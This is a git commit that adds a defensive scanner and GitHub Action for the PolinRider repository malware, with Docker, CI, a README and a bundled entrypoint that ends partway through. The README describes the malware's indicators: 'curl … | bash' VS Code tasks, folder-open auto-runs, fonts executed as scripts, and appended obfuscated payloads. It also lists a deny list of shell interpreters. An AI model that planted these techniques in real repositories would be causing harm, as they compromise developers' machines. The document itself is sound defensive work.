commit 39f03add71c89bf579876c14077b807bdeb517fb Author: jodosjodos Date: Tue Aug 11 13:59:03 2026 +0200 Add initial implementation of PolinRider malware scanner - Introduced core files including Dockerfile, action.yml, and entry point script (bin/polinrider.js) for the PolinRider malware scanner. - Created configuration files: .env.example, .gitignore, and .npmrc for environment setup and dependency management. - Added CI workflows for testing, building, and releasing the action, along with examples for usage in GitHub Actions. - Implemented a README.md to provide documentation on usage, features, and setup instructions. - Included necessary scripts for building the action and handling security measures during execution. - Established a structured directory for reports and workspace management within Docker. - Ensured all files are set up for a secure and efficient scanning process of GitHub repositories for PolinRider malware. diff --git a/.env.example b/.env.example new file mode 100644 index 0000000..39a2226 --- /dev/null +++ b/.env.example @@ -0,0 +1,56 @@ +# Copy to .env and fill in. NEVER commit your real .env. +# cp .env.example .env +# +# Docker Compose auto-loads .env for variable substitution. For direct +# `node bin/polinrider.js` runs, export these in your shell instead. + +# ─── Required ────────────────────────────────────────────────────────────────── + +# GitHub Personal Access Token (classic) with scopes: repo (full) + read:org. +GH_TOKEN=ghp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx + +# Target account — set EXACTLY ONE of the following (comment out the other). +# • GH_ORG → scans every repo in the organization. +# • GH_USER → scans every repo you OWN under your personal account. +# Your GitHub organization name (e.g. mycompany): +GH_ORG=your-org-name +# Your personal GitHub username (uncomment to clean personal repos instead): +# GH_USER=your-username + +# ─── Recommended for a first run ───────────────────────────────────────────────── + +# Pilot against specific repo(s) before scanning the whole account. Comma-separated. +# Each entry is "name" (the GH_ORG/GH_USER owner is prefixed) or "owner/name". +# Leave empty to scan the entire account. +# GH_REPO=my-first-repo +GH_REPO= + +# DRY_RUN=true scans + reports the planned surgical changes but writes nothing +# and opens no PRs. Start with true; set to false only once you're satisfied. +DRY_RUN=true + +# Auto-merge the cleanup PRs (default false). Respects branch protection: PRs that +# require reviews/checks are left open and reported, not bypassed. Needs a token +# with merge rights on the repos. +AUTO_MERGE=false +# Merge method when AUTO_MERGE=true: squash | merge | rebase. +# MERGE_METHOD=squash + +# ─── Optional (sane defaults — usually leave unset) ────────────────────────────── + +# Where JSON + Markdown run reports are written (the container mounts ./reports +# here). Set empty to disable report files. +# REPORTS_DIR=reports + +# Where repos are cloned (the container provides /workspace via tmpfs). +# WORKSPACE=/workspace + +# Where repos are cloned (the container provides /workspace via tmpfs). +# WORKSPACE=/workspace + +# Branch name prefix for the cleanup PRs. +# BRANCH_PREFIX=fix/polinrider-cleanup + +# Extra hardening: freeze built-in prototypes (--frozen-intrinsics). Experimental; +# leave off unless you've confirmed it doesn't break the run. +# POLINRIDER_FROZEN=1 diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml new file mode 100644 index 0000000..9cf1f80 --- /dev/null +++ b/.github/workflows/ci.yml @@ -0,0 +1,62 @@ +name: CI + +on: + push: + branches: [main] + pull_request: + +permissions: + contents: read + +jobs: + test: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: actions/setup-node@v4 + with: + node-version: 24 + - run: npm ci + - name: Unit tests + run: npm test + - name: Unit tests (hardened) + run: npm run test:hardened + + bundle: + # The committed dist/ci.mjs is what the action runs (no install step at + # action runtime), so it must always match src/. Rebuild and fail on drift. + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: actions/setup-node@v4 + with: + node-version: 24 + - run: npm ci + - name: Rebuild action bundle + run: npm run build:action + - name: Verify dist/ is up to date + run: | + if ! git diff --quiet -- dist/; then + echo "::error::dist/ is stale. Run 'npm run build:action' and commit the result." + git --no-pager diff -- dist/ + exit 1 + fi + + self-scan: + # Dogfood + self-protection: scan our OWN code for PolinRider malware on + # every push/PR. We exclude only the files that legitimately contain + # signature strings — the signature catalog, the payload fixtures, and the + # bundle that inlines them. Everything else (real source, bin/, scripts/, + # configs) is scanned for real, so an actual infection here would fail CI. + runs-on: ubuntu-latest + needs: bundle + steps: + - uses: actions/checkout@v4 + - uses: ./ + with: + mode: check + comment-on-pr: false + exclude: | + src/signatures.js + test/** + dist/** diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml new file mode 100644 index 0000000..7df881e --- /dev/null +++ b/.github/workflows/release.yml @@ -0,0 +1,50 @@ +name: Release + +# Tag a release (e.g. `git tag v1.2.0 && git push --tags`) to: +# 1. verify the committed bundle is fresh, +# 2. create a GitHub Release, and +# 3. move the major tag (e.g. v1) to this commit so consumers can pin `@v1`. + +on: + push: + tags: + - "v*.*.*" + +permissions: + contents: write + +jobs: + release: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + with: + fetch-depth: 0 + - uses: actions/setup-node@v4 + with: + node-version: 24 + - run: npm ci + + - name: Tests + run: npm test + + - name: Verify committed bundle is fresh + run: | + npm run build:action + if ! git diff --quiet -- dist/; then + echo "::error::dist/ does not match src/. Build and commit dist/ before tagging." + exit 1 + fi + + - name: Create GitHub Release + env: + GH_TOKEN: ${{ github.token }} + run: gh release create "$GITHUB_REF_NAME" --title "$GITHUB_REF_NAME" --generate-notes + + - name: Move major tag (vN → this commit) + run: | + MAJOR="${GITHUB_REF_NAME%%.*}" # v1.2.0 -> v1 + git config user.name "github-actions[bot]" + git config user.email "github-actions[bot]@users.noreply.github.com" + git tag -f "$MAJOR" + git push -f origin "refs/tags/$MAJOR" diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..e3f68e9 --- /dev/null +++ b/.gitignore @@ -0,0 +1,16 @@ +node_modules/ + +# NOTE: dist/ is intentionally committed — it is the GitHub Action's runtime +# entrypoint (dist/ci.mjs), built from src/ci.js. Do not ignore it. + +# Secrets — never commit. (.env.example is the committed template.) +.env +.env.local +.env.*.local +.env.production +.env.development + + +# Local clone workspace / reports +/workspace/ +/reports/ diff --git a/.npmrc b/.npmrc new file mode 100644 index 0000000..7b23737 --- /dev/null +++ b/.npmrc @@ -0,0 +1,3 @@ +# Never run dependency lifecycle scripts when installing this tool's own deps. +# Defense-in-depth: a compromised transitive dep cannot execute install hooks. +ignore-scripts=true diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 0000000..72dee54 --- /dev/null +++ b/Dockerfile @@ -0,0 +1,39 @@ +FROM node:20-slim + +# Install git, gh CLI, bash, curl, ca-certs +RUN apt-get update && apt-get install -y \ + git \ + curl \ + ca-certificates \ + gnupg \ + --no-install-recommends \ + && mkdir -p /etc/apt/keyrings \ + && curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg \ + | gpg --dearmor -o /etc/apt/keyrings/githubcli-archive-keyring.gpg \ + && echo "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" \ + > /etc/apt/sources.list.d/github-cli.list \ + && apt-get update \ + && apt-get install -y gh \ + && apt-get clean \ + && rm -rf /var/lib/apt/lists/* + +# Create non-root user +RUN groupadd --gid 1001 scanner \ + && useradd --uid 1001 --gid scanner --shell /bin/bash --create-home scanner + +# App directory owned by non-root user +WORKDIR /app +COPY --chown=scanner:scanner . . + +# Install Node deps. .npmrc sets ignore-scripts=true, so no dependency lifecycle +# scripts run during install (defense-in-depth). --ignore-scripts is explicit too. +RUN npm ci --omit=dev --ignore-scripts + +# Repos will be cloned here at runtime (tmpfs or volume) +RUN mkdir -p /workspace && chown scanner:scanner /workspace + +# Switch to non-root +USER scanner + +# Run via the hardened launcher (applies --disallow-code-generation-from-strings). +ENTRYPOINT ["node", "bin/polinrider.js"] diff --git a/README.md b/README.md new file mode 100644 index 0000000..6df0349 --- /dev/null +++ b/README.md @@ -0,0 +1,385 @@ +# PolinRider Org Cleanup Tool + +Scans every repo in a GitHub org for PolinRider malware, removes payloads, +and opens a PR per infected repo — all inside an isolated Docker container. + +> Want to scan a **single repo inside CI** instead of sweeping a whole org? +> Use the [**GitHub Action**](#use-as-a-github-action) — it reuses the same +> detection engine to fail a check, auto-clean, or open a cleanup PR. + +## Contents + +- [What it does](#what-it-does) +- [Use as a GitHub Action](#use-as-a-github-action) + - [Modes](#modes) + - [Enforce it (block infected merges)](#enforce-it-block-infected-merges) + - [Permissions](#permissions) + - [Reporting](#reporting) + - [Excluding known-legit files](#excluding-known-legit-files-and-scanning-the-scanner) + - [Inputs](#inputs) + - [Notes & limits](#notes--limits) +- [Prerequisites](#prerequisites) +- [Setup](#setup) +- [Running](#running) +- [Security design](#security-design) +- [Runtime hardening](#runtime-hardening) +- [Options](#options) +- [PR branch protection](#pr-branch-protection) +- [After merging PRs](#after-merging-prs) +- [File structure](#file-structure) + +## What it does + +For each repo in your org: + +1. **Clones** the default branch (shallow, `--depth=1`, git hooks disabled) +2. **Scans in-process** — reads files as inert text/bytes and pattern-matches known PolinRider signatures. It **never executes** the files it scans (see [Runtime hardening](#runtime-hardening)). Detection is _content-confirmed_: a repo is marked infected only when a real signature matches. +3. **Surgically remediates** infected repos — removing only what is confirmed malicious and preserving legitimate code, tasks, fonts, and configs: + - **Strips** the appended obfuscated payload (original + rotated variants) from any `.js/.ts/.mjs` file (config files, `App.js`, `vite.config.js`, …), keeping everything before the payload byte-for-byte + - **Removes the entire `.vscode` directory** when any task/launch entry is malicious — `curl … | bash`, `runOn: folderOpen` auto-runs, C2 hosts, or running an interpreter against a font/asset (e.g. `node ./public/fonts/x.woff2`) + - **Removes font carriers strategically.** A font is a _confirmed carrier_ only when it is unreferenced, fails structural font validation (no valid magic / table directory — real fonts, including commercial `.otf` files with embedded license URLs and binary blobs, are trusted), _and_ contains an appended code payload. When a carrier is found, the scanner removes the carrier plus the whole Font-Awesome-named disguise set (`fa-brands/solid/regular-…`) and its `README.md`, while **preserving clean, non-`fa-` fonts in the same directory** (only the leaf `fonts/` dir is removed if nothing clean remains). `fa-`-named fonts with **no** payload are flagged `suspicious` for manual review — never auto-removed. + - **Deletes** `temp_auto_push.bat`, `temp_interactive_push.bat`, `config.bat`, `branch_structure.json` + - **Fixes** `.gitignore` (removes all injected lines — `config.bat`, `temp_*.bat`, `branch_structure.json` — re-adds `.env*` patterns) and untracks committed `.env` files + - **Flags for manual review** (never auto-edits): impostor npm dependencies, fetch-and-exec lifecycle scripts, and unknown-but-obfuscated appended code +4. **Opens a PR** on a new branch with a precise summary of every change — your branch protection rules apply, nothing merges automatically + +--- + +## Use as a GitHub Action + +The same engine is published as a reusable Action that scans the repository being +built — no clone, no org token. Drop it into any workflow: + +```yaml +# .github/workflows/malware-scan.yml +name: PolinRider scan +on: [pull_request] +permissions: + contents: read +jobs: + scan: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: RMSoft-ltd/polinrider-cleanup@v1 + with: + mode: check # check | fix | pr +``` + +### Modes + +| `mode` | What it does | Typical trigger | +| ------------------- | ------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------- | +| `check` _(default)_ | Scan only. Exits non-zero when malware is found so a **required status check** blocks the merge. No token needed. | `pull_request` | +| `fix` | Surgically cleans the working tree. With `commit: true` it also commits + pushes the fix back to the branch (push events only). | `push` | +| `pr` | Cleans on a new branch and opens a cleanup PR (optionally auto-merged). Works where commit-back can't push (fork PRs, protected branches). | `schedule` / `workflow_dispatch` | + +Ready-to-copy workflows live in [`examples/`](examples/). + +### Enforce it (block infected merges) + +`check` exits `1` on a confirmed infection. To turn that into a merge gate, add the +job as a **required status check**: repo → Settings → Branches (or Rulesets) → +require the `scan` job to pass. PRs then can't merge while malware is detected. + +### Permissions + +Grant the least your mode needs: + +| Mode / feature | Required `permissions:` | +| ----------------------- | ------------------------------------------ | +| `check` (no PR comment) | `contents: read` | +| PR comment (any mode) | `pull-requests: write` | +| `fix` + `commit: true` | `contents: write` | +| `pr` | `contents: write` + `pull-requests: write` | +| `sarif-file` upload | `security-events: write` | + +### Reporting + +Every run writes a Markdown report to the **job summary**, emits inline +**annotations** on the PR diff for each finding, and — on `pull_request` events with +`comment-on-pr: true` (default) — posts the report as a **PR comment** (needs +`pull-requests: write`; skipped with a warning otherwise). Set `sarif-file` to also +emit a SARIF report for the **Security** tab: + +```yaml +- uses: RMSoft-ltd/polinrider-cleanup@v1 + with: + mode: check + sarif-file: polinrider.sarif +- uses: github/codeql-action/upload-sarif@v3 + if: always() + with: + sarif_file: polinrider.sarif +``` + +### Excluding known-legit files (and scanning the scanner) + +Some repos legitimately contain content that looks like a payload — security +tooling, malware test fixtures, vendored bundles. Use `exclude` to skip those +paths so real infections elsewhere still fail the check: + +```yaml +- uses: RMSoft-ltd/polinrider-cleanup@v1 + with: + mode: check + exclude: | + test/fixtures/** + vendor/** +``` + +This is how this repo scans **itself** in CI: it excludes only its signature +catalog, payload fixtures, and built bundle (`src/signatures.js`, `test/**`, +`dist/**`) — everything else (real source, configs, `bin/`) is scanned for real, +so an actual infection here would fail the build. Keep the exclude list as tight +as possible; anything excluded is a blind spot. + +### Inputs + +| Input | Default | Description | +| --------------- | ------------------------ | ------------------------------------------------------------------------- | +| `mode` | `check` | `check` · `fix` · `pr` | +| `path` | `.` | Directory to scan (relative to the workspace) | +| `exclude` | _(none)_ | Comma/newline-separated paths or globs to skip, e.g. `test/**, vendor/**` | +| `token` | `${{ github.token }}` | Token for `pr` mode, `fix`+`commit`, and PR comments | +| `fail-on` | `infected` | Severity that fails the job: `infected` · `suspicious` · `never` | +| `commit` | `false` | `fix` mode: commit + push the cleanup back (push events) | +| `comment-on-pr` | `true` | Post the report as a PR comment on `pull_request` events | +| `sarif-file` | _(off)_ | Write a SARIF report to this path | +| `dry-run` | `false` | Plan changes without writing/pushing | +| `auto-merge` | `false` | `pr` mode: auto-merge (respects branch protection) | +| `merge-method` | `squash` | `squash` · `merge` · `rebase` | +| `branch-prefix` | `fix/polinrider-cleanup` | `pr` mode branch prefix | + +Several inputs also read a legacy **env var** as a fallback (`DRY_RUN`, +`AUTO_MERGE`, `MERGE_METHOD`, `BRANCH_PREFIX`, `POLINRIDER_EXCLUDE`, `SARIF_FILE`), +so you can set them in a workflow/job `env:` block instead of `with:` — handy for +sharing config across steps. An explicit `with:` value always wins. For a custom +token use `with: token:` (it defaults to `${{ github.token }}`): + +```yaml +jobs: + scan: + runs-on: ubuntu-latest + env: + AUTO_MERGE: "true" + MERGE_METHOD: rebase + steps: + - uses: actions/checkout@v4 + - uses: RMSoft-ltd/polinrider-cleanup@v1 + with: + mode: pr + token: ${{ secrets.GITHUB_TOKEN }} +``` + +**Outputs:** `severity`, `infected`, `findings-count`, `changed`, `remediated`, +`pr-url`, `sarif-file`. + +### Notes & limits + +- **Pin for security.** `@v1` tracks the latest v1.x; pin a full SHA + (`@`) if you want immutability. +- **`fix` + `commit` is push-event only.** On `pull_request` it's skipped (detached + HEAD; fork PRs can't be pushed) — use `mode: pr` there. Commit-back uses the + default `GITHUB_TOKEN`, whose pushes don't retrigger workflows (no loop). +- Only **content-confirmed** infections fail by default; impostor deps and + fetch-and-exec scripts are flagged for manual review and (in `fix`/`pr`) still + fail the check since they can't be auto-removed. + +--- + +## Prerequisites + +- [Docker Desktop](https://www.docker.com/products/docker-desktop/) (or Docker Engine + Compose v2) +- A GitHub **Personal Access Token (classic)** with these scopes: + - `repo` (full) + - `read:org` + +--- + +## Setup + +### 1. Clone this tool + +```bash +git clone +cd polinrider-cleanup +``` + +### 2. Create your `.env` file (never committed) + +```bash +cp .env.example .env +``` + +Edit `.env`: + +```env +GH_TOKEN=ghp_xxxxxxxxxxxxxxxxxxxx +GH_ORG=your-org-name # an organization… +# GH_USER=your-username # …OR a personal account (set exactly one) +DRY_RUN=false +``` + +> **DRY_RUN=true** will scan and remediate locally but skip pushing and PR creation. +> Use this first to verify it does what you expect. + +### 3. Build the container + +```bash +docker compose build +``` + +--- + +## Running + +### Dry run first (recommended) + +```bash +DRY_RUN=true docker compose run --rm polinrider-cleanup +``` + +Check the output — it will show every infected file and what would be removed, +without touching GitHub. + +### Live run + +```bash +docker compose run --rm polinrider-cleanup +``` + +The tool will print a summary at the end listing every PR URL opened. + +--- + +## Security design + +| Concern | Mitigation | +| ------------------------- | ------------------------------------------------------------------------------------------------------------------------- | +| Executing scanned malware | Files read as inert text/bytes; no `require`/`eval`/`exec` of targets; codegen disabled; subprocess allowlist (see below) | +| Token exposure | Passed via env var only, never baked into image; injected only for `gh` | +| Host disk access | Repos cloned to `tmpfs` (RAM only, wiped on exit) | +| Root in container | Non-root user `scanner` (UID 1001) | +| Container capabilities | All Linux caps dropped (`cap_drop: ALL`) | +| Writable fs | Root fs read-only; only `/workspace` and `/tmp` writable via tmpfs | +| Resource abuse | CPU and memory limits set in `docker-compose.yml` | + +--- + +## Runtime hardening + +The scanner only ever **reads** target files as text/bytes — reading a file never +executes it. On top of that architectural guarantee, the tool is hardened in +layers so the obfuscated payload cannot run even by accident: + +- **Subprocess allowlist** — only `git` and `gh` may be spawned, with an + allowlisted set of subcommands. `node`, `npm`, `npx`, `bash`, `sh`, `deno`, + `python`, etc. are rejected, so a `node -e` / `bash -c` style payload can never + be launched. Git runs with hooks disabled (`core.hooksPath`), system/global + config ignored, and `--no-verify`. +- **Code generation disabled** — the launcher (`bin/polinrider.js`) starts Node + with `--disallow-code-generation-from-strings`, so `eval()` and `new Function()` + throw. +- **In-code guards** — `src/safety.js` (imported first) also neutralizes `eval`, + the `Function` family, `require('node:vm')`, and `process.binding`, as a + fallback when the flag isn't present. +- **No install scripts** — `.npmrc` sets `ignore-scripts=true`; the tool never + runs `npm install` or a build in a target repo. +- **Container** — non-root, all Linux capabilities dropped, read-only root fs. + +> The Node permission model (`--permission`) is intentionally not used: the tool +> must spawn `git`/`gh`, which would require `--allow-child-process` (Node warns +> this invalidates the model), so it adds little over the layers above. + +Run the tests, including a hardened pass that runs every test with codegen disabled: + +```bash +npm test +npm run test:hardened +``` + +--- + +## Options + +| Env var | Default | Description | +| --------------- | ------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| `GH_TOKEN` | required | GitHub PAT | +| `GH_ORG` | required\* | Organization name. Scans every repo in the org. | +| `GH_USER` | required\* | Personal username. Scans every repo you own (`affiliation=owner`). | +| `GH_REPO` | _(all repos)_ | Scope to specific repo(s), comma-separated. Each is `name` (account owner prefixed) or `owner/name`. Skips the account-wide listing — use it to pilot one repo first. | +| `DRY_RUN` | `false` | Skip push and PR | +| `AUTO_MERGE` | `false` | Auto-merge each cleanup PR after opening it. Respects branch protection (blocked PRs stay open and are reported). | +| `MERGE_METHOD` | `squash` | Merge method when `AUTO_MERGE=true`: `squash`, `merge`, or `rebase`. | +| `REPORTS_DIR` | `reports` | Where JSON + Markdown run reports are written. Set empty to disable. | +| `WORKSPACE` | `/workspace` | Where repos are cloned | +| `BRANCH_PREFIX` | `fix/polinrider-cleanup` | PR branch name prefix | + +\* Set **exactly one** of `GH_ORG` or `GH_USER` — not both, not neither. + +### Auto-merge + +With `AUTO_MERGE=true`, after each PR is opened the tool runs `gh pr merge -- --delete-branch`. It **respects branch protection** — a repo that requires reviews or passing checks is left open and listed in the summary (and report) as "auto-merge blocked"; nothing is bypassed. The token must have merge rights on the repo. + +### Reports + +Every run writes `polinrider-.json` + `.md` (and `latest.json` / `latest.md`) to `REPORTS_DIR` (the mounted `./reports` volume in Docker). The files are rewritten after each repo, so you get a durable, auditable trace — including each repo's findings, what was removed/cleaned, the PR link, and merge status — instead of relying on scrollback. The Markdown includes a clickable **Repository | Pull request | Status** table. + +--- + +## PR branch protection + +Because your org has branch protection enforced, the tool: + +- Creates a **new branch** per repo (never pushes to `main` or `master` directly) +- Opens a PR for review — a human merges it +- PR body explains exactly what was changed and why + +--- + +## After merging PRs + +1. Notify affected developers to check their machines for the initial dropper +2. Rotate any secrets that may have been exposed via committed `.env` files +3. Check npm global packages: `npm list -g --depth=0` +4. Check VS Code extensions for anything unfamiliar +5. Revoke and regenerate any PATs for accounts whose machines were compromised + +--- + +## File structure + +``` +polinrider-remover/ +├── Dockerfile +├── docker-compose.yml +├── package.json / .npmrc +├── action.yml # GitHub Action metadata (uses dist/ci.mjs) +├── dist/ +│ └── ci.mjs # bundled Action entrypoint (built from src/ci.js — committed) +├── examples/ # ready-to-copy consumer workflows (check / fix / pr) +├── scripts/ +│ └── build-action.mjs # esbuild bundler for the Action +├── bin/ +│ └── polinrider.js # hardened launcher (applies V8 flags, then runs src/index.js) +├── src/ +│ ├── index.js # org-sweep orchestrator: list org repos → clone → scan → remediate → PR +│ ├── ci.js # GitHub Action frontend: scan the checked-out repo → check/fix/pr +│ ├── safety.js # runtime guards (eval/Function/vm/process.binding) — imported first +│ ├── safe-exec.js # subprocess allowlist (git/gh only, hooks disabled) +│ ├── signatures.js # IOC catalog (payload variants, C2 hosts, font magic, impostor deps) +│ ├── scanner.js # content-confirmed detection → Findings report +│ ├── exclude.js # glob matcher for the scan `exclude` option +│ ├── remediator.js # surgical removal driven by Findings +│ ├── sarif.js # Findings → SARIF 2.1.0 (for code-scanning upload) +│ ├── jsonc.js # tolerant JSONC parser + array splicer (no eval) +│ ├── fonts.js # structural font validation + reference analysis +│ ├── walk.js # symlink-safe file walker +│ └── report.js # console + Markdown PR-body rendering +└── test/ # node:test specs + fixtures +``` + +> **Two frontends, one engine.** `src/index.js` (org sweep, Docker) and `src/ci.js` +> (GitHub Action) both drive the same `scanner.js` + `remediator.js` + signatures — +> detection logic is defined once. diff --git a/action.yml b/action.yml new file mode 100644 index 0000000..f29663c --- /dev/null +++ b/action.yml @@ -0,0 +1,76 @@ +name: "PolinRider Malware Scanner" +description: "Scan a repository for PolinRider malware — fail the check, auto-clean the working tree, or open a cleanup PR." +author: "RMSoft-ltd" + +branding: + icon: "shield" + color: "red" + +inputs: + mode: + description: "What to do on detection: check (scan + fail), fix (clean the working tree), or pr (open a cleanup PR)." + required: false + default: "check" + path: + description: "Directory to scan, relative to the workspace root." + required: false + default: "." + exclude: + description: 'Comma/newline-separated paths or globs to skip (repo-relative), e.g. "test/**, vendor/**". Useful to ignore files that legitimately contain malware signatures.' + required: false + default: "" + token: + description: "GitHub token used for pr mode, fix + commit, and PR comments." + required: false + default: ${{ github.token }} + fail-on: + description: "Severity that fails the job: infected | suspicious | never." + required: false + default: "infected" + commit: + description: "In fix mode, commit and push the cleaned files back to the branch (push events only)." + required: false + default: "false" + comment-on-pr: + description: "Post the scan report as a comment on pull_request events (needs pull-requests: write)." + required: false + default: "true" + sarif-file: + description: "Write a SARIF report to this path for upload to GitHub code scanning (empty = skip)." + required: false + default: "" + dry-run: + # No action default on purpose: omitting it lets the DRY_RUN env var apply. + # Effective default false. + description: "Scan and plan remediation without writing files, pushing, or opening PRs. Also reads the DRY_RUN env var. Default: false." + required: false + auto-merge: + # No action default on purpose: omitting it lets the AUTO_MERGE env var apply. + description: "In pr mode, auto-merge the cleanup PR (respects branch protection). Also reads the AUTO_MERGE env var. Default: false." + required: false + merge-method: + description: "Merge method when auto-merge is on: squash | merge | rebase. Also reads the MERGE_METHOD env var. Default: squash." + required: false + branch-prefix: + description: "Branch name prefix for pr mode. Also reads the BRANCH_PREFIX env var. Default: fix/polinrider-cleanup." + required: false + +outputs: + severity: + description: "clean | suspicious | infected." + infected: + description: "true when a confirmed PolinRider payload was found." + findings-count: + description: "Number of findings." + changed: + description: "true when files were modified or deleted (fix/pr modes)." + remediated: + description: "true when any file was cleaned or removed." + pr-url: + description: "URL of the cleanup PR (pr mode)." + sarif-file: + description: "Path to the written SARIF report, if any." + +runs: + using: "node24" + main: "dist/ci.mjs" diff --git a/bin/polinrider.js b/bin/polinrider.js new file mode 100644 index 0000000..fdf3275 --- /dev/null +++ b/bin/polinrider.js @@ -0,0 +1,50 @@ +#!/usr/bin/env node +/** + * Hardened launcher. + * + * A `#!/usr/bin/env node` shebang cannot self-apply V8 flags after the process + * has already started, so this launcher re-spawns Node WITH the hardening flags + * and then runs the orchestrator. The flags are also propagated via NODE_OPTIONS + * so they would inherit to any further child (there are none — the subprocess + * allowlist forbids spawning node — but it keeps the guarantee). + * + * --disallow-code-generation-from-strings → eval() / new Function() throw + * --frozen-intrinsics (opt-in: POLINRIDER_FROZEN=1) → freeze built-in protos + */ + +import { spawnSync } from "node:child_process"; +import { fileURLToPath } from "node:url"; +import path from "node:path"; + +const CODEGEN_FLAG = "--disallow-code-generation-from-strings"; +const FLAGS = [CODEGEN_FLAG]; +if (process.env.POLINRIDER_FROZEN === "1") FLAGS.push("--frozen-intrinsics"); + +const here = path.dirname(fileURLToPath(import.meta.url)); +const entry = path.resolve(here, "../src/index.js"); + +const flagsActive = + process.execArgv.includes(CODEGEN_FLAG) || + (process.env.NODE_OPTIONS || "").includes(CODEGEN_FLAG); + +if (flagsActive) { + // Flags are already in effect for this process — run the orchestrator here. + const mod = await import(entry); + await mod.main().catch((err) => { + console.error("Fatal error:", err.message); + process.exit(2); + }); +} else { + // Re-spawn Node with the flags applied at process start, running src/index.js + // directly (it auto-runs main() when invoked as the entry point). + const nodeOptions = [process.env.NODE_OPTIONS, CODEGEN_FLAG].filter(Boolean).join(" "); + const child = spawnSync(process.execPath, [...FLAGS, entry, ...process.argv.slice(2)], { + stdio: "inherit", + env: { ...process.env, NODE_OPTIONS: nodeOptions, POLINRIDER_HARDENED: "1" }, + }); + if (child.error) { + console.error("Failed to launch hardened process:", child.error.message); + process.exit(2); + } + process.exit(child.status ?? 1); +} diff --git a/dist/ci.mjs b/dist/ci.mjs new file mode 100644 index 0000000..5e0f5de --- /dev/null +++ b/dist/ci.mjs @@ -0,0 +1,11041 @@ +import { createRequire as __createRequire } from "node:module"; +import { fileURLToPath as __fileURLToPath } from "node:url"; +import { dirname as __pathDirname } from "node:path"; +const require = __createRequire(import.meta.url); +const __filename = __fileURLToPath(import.meta.url); +const __dirname = __pathDirname(__filename); +var __create = Object.create; +var __defProp = Object.defineProperty; +var __getOwnPropDesc = Object.getOwnPropertyDescriptor; +var __getOwnPropNames = Object.getOwnPropertyNames; +var __getProtoOf = Object.getPrototypeOf; +var __hasOwnProp = Object.prototype.hasOwnProperty; +var __require = /* @__PURE__ */ ((x) => + typeof require !== "undefined" + ? require + : typeof Proxy !== "undefined" + ? new Proxy(x, { + get: (a2, b) => (typeof require !== "undefined" ? require : a2)[b], + }) + : x)(function (x) { + if (typeof require !== "undefined") return require.apply(this, arguments); + throw Error('Dynamic require of "' + x + '" is not supported'); +}); +var __commonJS = (cb, mod) => + function __require2() { + return ( + mod || + (0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod), + mod.exports + ); + }; +var __copyProps = (to, from, except, desc) => { + if ((from && typeof from === "object") || typeof from === "function") { + for (let key of __getOwnPropNames(from)) + if (!__hasOwnProp.call(to, key) && key !== except) + __defProp(to, key, { + get: () => from[key], + enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable, + }); + } + return to; +}; +var __toESM = (mod, isNodeMode, target) => ( + (target = mod != null ? __create(__getProtoOf(mod)) : {}), + __copyProps( + // If the importer is in node compatibility mode or this is not an ESM + // file that has been converted to a CommonJS file using a Babel- + // compatible transform (i.e. "__esModule" has not been set), then set + // "default" to the CommonJS "module.exports" for node compatibility. + isNodeMode || !mod || !mod.__esModule + ? __defProp(target, "default", { value: mod, enumerable: true }) + : target, + mod, + ) +); + +// node_modules/isexe/windows.js +var require_windows = __commonJS({ + "node_modules/isexe/windows.js"(exports, module) { + module.exports = isexe; + isexe.sync = sync; + var fs7 = __require("fs"); + function checkPathExt(path12, options) { + var pathext = + options.pathExt !== void 0 ? options.pathExt : process.env.PATHEXT; + if (!pathext) { + return true; + } + pathext = pathext.split(";"); + if (pathext.indexOf("") !== -1) { + return true; + } + for (var i2 = 0; i2 < pathext.length; i2++) { + var p = pathext[i2].toLowerCase(); + if (p && path12.substr(-p.length).toLowerCase() === p) { + return true; + } + } + return false; + } + function checkStat(stat, path12, options) { + if (!stat.isSymbolicLink() && !stat.isFile()) { + return false; + } + return checkPathExt(path12, options); + } + function isexe(path12, options, cb) { + fs7.stat(path12, function (er, stat) { + cb(er, er ? false : checkStat(stat, path12, options)); + }); + } + function sync(path12, options) { + return checkStat(fs7.statSync(path12), path12, options); + } + }, +}); + +// node_modules/isexe/mode.js +var require_mode = __commonJS({ + "node_modules/isexe/mode.js"(exports, module) { + module.exports = isexe; + isexe.sync = sync; + var fs7 = __require("fs"); + function isexe(path12, options, cb) { + fs7.stat(path12, function (er, stat) { + cb(er, er ? false : checkStat(stat, options)); + }); + } + function sync(path12, options) { + return checkStat(fs7.statSync(path12), options); + } + function checkStat(stat, options) { + return stat.isFile() && checkMode(stat, options); + } + function checkMode(stat, options) { + var mod = stat.mode; + var uid = stat.uid; + var gid = stat.gid; + var myUid = + options.uid !== void 0 + ? options.uid + : process.getuid && process.getuid(); + var myGid = + options.gid !== void 0 + ? options.gid + : process.getgid && process.getgid(); + var u2 = parseInt("100", 8); + var g = parseInt("010", 8); + var o2 = parseInt("001", 8); + var ug = u2 | g; + var ret = + mod & o2 || + (mod & g && gid === myGid) || + (mod & u2 && uid === myUid) || + (mod & ug && myUid === 0); + return ret; + } + }, +}); + +// node_modules/isexe/index.js +var require_isexe = __commonJS({ + "node_modules/isexe/index.js"(exports, module) { + var fs7 = __require("fs"); + var core; + if (process.platform === "win32" || global.TESTING_WINDOWS) { + core = require_windows(); + } else { + core = require_mode(); + } + module.exports = isexe; + isexe.sync = sync; + function isexe(path12, options, cb) { + if (typeof options === "function") { + cb = options; + options = {}; + } + if (!cb) { + if (typeof Promise !== "function") { + throw new TypeError("callback not provided"); + } + return new Promise(function (resolve, reject) { + isexe(path12, options || {}, function (er, is) { + if (er) { + reject(er); + } else { + resolve(is); + } + }); + }); + } + core(path12, options || {}, function (er, is) { + if (er) { + if (er.code === "EACCES" || (options && options.ignoreErrors)) { + er = null; + is = false; + } + } + 